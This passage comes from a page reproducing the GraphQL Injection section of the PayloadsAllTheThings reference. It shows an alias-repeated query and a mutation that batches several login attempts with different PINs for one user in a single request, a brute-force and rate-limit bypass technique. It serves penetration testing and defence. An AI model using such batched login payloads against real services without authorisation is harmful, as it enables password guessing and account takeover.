GraphQL Injection · passage 16 of 19
2 code blocks · GraphQL Injection/README.md
For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.
Open this passage on GitHub{
"query": "query { qname: Query { field1 } qname1: Query { field1 } }"
}Send the same mutation several times using aliases
mutation {
login(pass: 1111, username: "bob")
second: login(pass: 2222, username: "bob")
third: login(pass: 3333, username: "bob")
fourth: login(pass: 4444, username: "bob")
}Source: GraphQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.
Every one of the 19 is a mark on the map. Named now: 1 to 19, reading order first.
Zoom in on the map and the dots under the middle of it are named where they are.
Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.